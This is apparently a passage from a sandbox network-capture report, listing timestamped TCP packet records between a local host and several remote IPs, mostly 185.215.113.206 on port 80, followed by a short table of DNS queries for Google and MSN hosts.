Nov 13, 2024 18:08:35.629606962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629609108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629618883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629621029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629631042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629642963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629645109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629653931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629657030 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629667044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629678965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629689932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629698038 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629700899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629713058 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629714012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629740000 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629808903 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629910946 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629921913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629933119 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629944086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629956007 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.629961967 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.629967928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.630002022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.630002022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.635920048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.635941982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.635955095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.635967016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.635979891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.635991096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.635999918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.635999918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636003017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636049032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636049032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636096001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636106014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636116982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636153936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636157990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636157990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636164904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636174917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636188984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636198997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636210918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636221886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636221886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636233091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636291981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636297941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636310101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636321068 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636331081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636342049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636347055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636347055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636353016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636364937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636374950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636384964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636394978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636394978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636394978 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636414051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636424065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636428118 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636428118 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636435032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636439085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636445045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636456966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636467934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636477947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636490107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636497974 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636497974 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636501074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.636538982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.636538982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637047052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637067080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637078047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637089968 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637100935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637110949 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637123108 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637129068 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637136936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637136936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637140036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637151003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637162924 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637173891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637183905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637193918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637195110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637195110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637195110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637204885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637214899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637226105 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637237072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637243986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637250900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637295961 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637295961 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637295961 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637749910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637762070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637772083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637783051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637794018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637804985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637820959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637831926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637836933 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637836933 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637883902 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637883902 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637911081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637923002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637932062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637942076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637953997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637954950 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637964010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637976885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637979031 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.637988091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.637998104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638009071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638012886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638012886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638019085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638030052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638041019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638051987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638062954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638066053 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638066053 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638072968 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638082981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638093948 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638109922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638109922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638706923 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638722897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638736010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638746023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638763905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638782978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638787985 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638797998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638808966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638819933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638830900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638835907 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638835907 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638842106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638853073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638861895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638861895 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638874054 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638883114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638894081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638895035 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638895035 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638904095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638915062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638926029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638932943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638932943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638937950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638947964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638958931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638969898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638973951 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638973951 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.638981104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.638992071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.639003038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.639027119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.639027119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.639341116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.648308039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.648323059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.648334980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.648406982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.648406982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.667803049 CET	49938	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.667828083 CET	443	49938	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.668255091 CET	49938	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.668258905 CET	443	49938	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.668716908 CET	49939	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.668726921 CET	443	49939	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.669173956 CET	49939	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.669178009 CET	443	49939	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.682917118 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.682918072 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.726624966 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.726650000 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.726675987 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.726716042 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.726737976 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.726752043 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.726778030 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.728827953 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728857994 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728866100 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728877068 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728892088 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728893042 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728910923 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728915930 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.728930950 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728949070 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.728964090 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.728991985 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.728996992 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.728996992 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.729021072 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.737335920 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.737375021 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.737471104 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.737471104 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.737479925 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.737729073 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.738010883 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.738717079 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.740255117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740310907 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740328074 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.740330935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740364075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.740377903 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.740442991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740456104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740483046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.740494013 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.740899086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740911007 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740921974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.740957975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.740957975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741012096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741024017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741036892 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741048098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741060019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741081953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741081953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741096020 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741137981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741148949 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741163015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741179943 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741192102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741194010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741194010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741202116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741205931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741235971 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741281033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741292000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741301060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741312027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741322994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741333008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741337061 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741337061 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741379976 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741391897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741401911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741410017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741444111 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741444111 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741449118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741460085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741470098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741513014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741513014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741542101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741554022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741563082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741574049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741585016 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741595030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741596937 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741605997 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741800070 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741909027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741919994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741930008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741941929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741964102 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741976976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741981983 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.741987944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.741998911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742012024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742042065 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.742042065 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.742166996 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.742168903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742180109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742188931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742199898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742209911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742219925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742233038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742235899 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.742243052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742257118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742269993 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.742269993 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.742292881 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.742327929 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.742336035 CET	80	49864	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 18:08:15.222332954 CET	192.168.2.6	1.1.1.1	0x8d08	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:15.222475052 CET	192.168.2.6	1.1.1.1	0x21a1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:18.757669926 CET	192.168.2.6	1.1.1.1	0x7f7a	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:18.757829905 CET	192.168.2.6	1.1.1.1	0xa309	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:19.759912968 CET	192.168.2.6	1.1.1.1	0xa19	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:19.760081053 CET	192.168.2.6	1.1.1.1	0x4378	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:26.214567900 CET	192.168.2.6	1.1.1.1	0x3a46	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:26.218795061 CET	192.168.2.6	1.1.1.1	0x12a	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 13, 2024 18:08:27.754765034 CET	192.168.2.6	1.1.1.1	0xe40a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:08:27.755065918 CET	192.168.2.6	1.1.1.1	0x37d6	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
